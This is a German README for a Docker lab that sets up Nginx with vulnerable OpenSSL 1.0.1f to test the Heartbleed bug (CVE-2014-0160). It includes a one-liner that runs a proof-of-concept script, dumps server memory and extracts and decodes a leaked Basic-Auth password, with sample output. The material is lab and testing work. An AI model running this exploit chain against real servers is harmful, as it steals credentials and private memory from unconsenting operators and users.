
Dockerfile zum Testen der Ausnutzung von CVE-2014-0160 (Heartbleed).
Dieses Repository enthält ein Dockerfile für Nginx mit der verwundbaren OpenSSL-Version (1.0.1f) zum Testen der CVE-2014-0160 Heartbleed-Sicherheitslücke.
Installieren Sie Docker
apt-get install -y dockerLaden Sie das Debian-Basis-Image vom öffentlichen Docker Hub Registry herunter:
docker pull debian:latest
Erstellen Sie das Image aus dem Dockerfile: docker build -t heartbleed_nginx_img .
docker run -i -t -p 1500:443 heartbleed_nginx_img
Laden Sie das Heartbleed-poc-Python-Skript herunter (nur zu Testzwecken!). Dies ist eine modifizierte Version, die ursprünglich von Jared Stafford [email protected] stammt. Dank an SensePost für dieses Skript.
Öffnen Sie zwei neue Tabs in Ihrem aktuellen Terminal und führen Sie Folgendes aus:
Erster Tab (Generiert x100 GET-Anfragen mit HTTP-Basisauthentifizierung über den curl-Befehl):
for loop in {0..100..1}; do curl -X GET -s -i -k -u admin:myP@ssword0MG https://127.0.0.1:1500| grep -E "200"; done
HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK HTTP/1.1 200 OK snipp...
Zweiter Tab (Generiert x100 Heartbeat-Anfragen (-n 100), schreibt den Speicher-Dump in die Datei „dump.bin“, extrahiert dann das Ergebnis aus dem Feld „Authorization“ aus dem Speicher-Dump und dekodiert schließlich die Base64-Ergebniszeichenfolge in Klartext ^^):
python heartbleed-poc.py -f dump.bin -q -n 100 -p 1500 127.0.0.1 && grep -a "^Authorization:" dump.bin | head -n1 | awk -F " " '{print $3}' | tr -d '\n\r' | base64 --decode && echo
WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! ... received message: type = 22, ver = 0302, length = 66 ... received message: type = 22, ver = 0302, length = 925 ... received message: type = 22, ver = 0302, length = 331 ... received message: type = 22, ver = 0302, length = 4 ... received message: type = 24, ver = 0302, length = 16384 WARNING: server 127.0.0.1 returned more data than it should - server is vulnerable! snipp... admin:myP@ssword0MG